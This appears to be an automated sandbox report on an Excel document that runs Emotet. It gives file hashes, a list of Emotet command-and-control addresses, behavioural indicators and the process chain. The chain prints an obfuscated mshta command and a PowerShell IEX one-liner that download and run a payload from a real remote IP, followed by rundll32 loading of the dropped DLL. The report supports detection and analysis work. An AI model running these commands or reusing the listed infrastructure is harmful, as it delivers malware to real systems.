Analysis
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max time kernel
148s -
max time network
163s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 01:31
Behavioral task
behavioral1
Sample
Form.xls
Resource
win7-en-20211208
General
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Target
Form.xls
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Size
47KB
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MD5
f3d197c0579236d94decb0af7de08f3d
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SHA1
c2c3b665019de5aba0962053c6c811e272d041fe
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SHA256
1c12a653dd7eea136fc613f37655963704f5f4d757183cf6463256f116fd4f97
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SHA512
c2357597de2e8ef838c86d6c1cbde9d81f5b6c9df788c83874b2d4aca6a829d4caacc3f1b48d0d5f2e093c24bcbb797cc865e2cb25fa98244e4c61cdc47dbfd4
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 240 1276 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 4 1384 mshta.exe 5 1336 powershell.exe 7 1336 powershell.exe 9 1812 rundll32.exe 11 1812 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 892 rundll32.exe 892 rundll32.exe 892 rundll32.exe 892 rundll32.exe 1464 rundll32.exe 1464 rundll32.exe 1464 rundll32.exe 1464 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Avbeunkmpdcllbhc\lchmghhfl.fhp rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEmshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1276 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exerundll32.exepid process 1336 powershell.exe 1812 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1336 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1276 wrote to memory of 240 1276 EXCEL.EXE CMD.EXE PID 1276 wrote to memory of 240 1276 EXCEL.EXE CMD.EXE PID 1276 wrote to memory of 240 1276 EXCEL.EXE CMD.EXE PID 1276 wrote to memory of 240 1276 EXCEL.EXE CMD.EXE PID 240 wrote to memory of 1384 240 CMD.EXE mshta.exe PID 240 wrote to memory of 1384 240 CMD.EXE mshta.exe PID 240 wrote to memory of 1384 240 CMD.EXE mshta.exe PID 240 wrote to memory of 1384 240 CMD.EXE mshta.exe PID 1384 wrote to memory of 1336 1384 mshta.exe powershell.exe PID 1384 wrote to memory of 1336 1384 mshta.exe powershell.exe PID 1384 wrote to memory of 1336 1384 mshta.exe powershell.exe PID 1384 wrote to memory of 1336 1384 mshta.exe powershell.exe PID 1336 wrote to memory of 1340 1336 powershell.exe cmd.exe PID 1336 wrote to memory of 1340 1336 powershell.exe cmd.exe PID 1336 wrote to memory of 1340 1336 powershell.exe cmd.exe PID 1336 wrote to memory of 1340 1336 powershell.exe cmd.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 1340 wrote to memory of 892 1340 cmd.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 892 wrote to memory of 1464 892 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1464 wrote to memory of 1688 1464 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1812 1688 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Form.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Avbeunkmpdcllbhc\lchmghhfl.fhp",NOuuDFUbPHwGIFR8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Avbeunkmpdcllbhc\lchmghhfl.fhp",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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memory/892-71-0x0000000000280000-0x00000000002A5000-memory.dmpFilesize
148KB
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memory/1276-54-0x000000002F8C1000-0x000000002F8C4000-memory.dmpFilesize
12KB
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memory/1276-57-0x0000000076041000-0x0000000076043000-memory.dmpFilesize
8KB
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memory/1276-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1276-55-0x00000000710B1000-0x00000000710B3000-memory.dmpFilesize
8KB
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memory/1276-117-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1336-64-0x00000000004F2000-0x00000000004F4000-memory.dmpFilesize
8KB
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memory/1336-62-0x00000000004F0000-0x00000000004F1000-memory.dmpFilesize
4KB
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memory/1336-63-0x00000000004F1000-0x00000000004F2000-memory.dmpFilesize
4KB
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memory/1464-80-0x0000000000960000-0x0000000000985000-memory.dmpFilesize
148KB
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memory/1464-82-0x00000000009C0000-0x00000000009E5000-memory.dmpFilesize
148KB
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memory/1464-84-0x0000000000B90000-0x0000000000BB5000-memory.dmpFilesize
148KB
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memory/1464-86-0x0000000002530000-0x0000000002555000-memory.dmpFilesize
148KB
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memory/1464-88-0x00000000025F0000-0x0000000002615000-memory.dmpFilesize
148KB
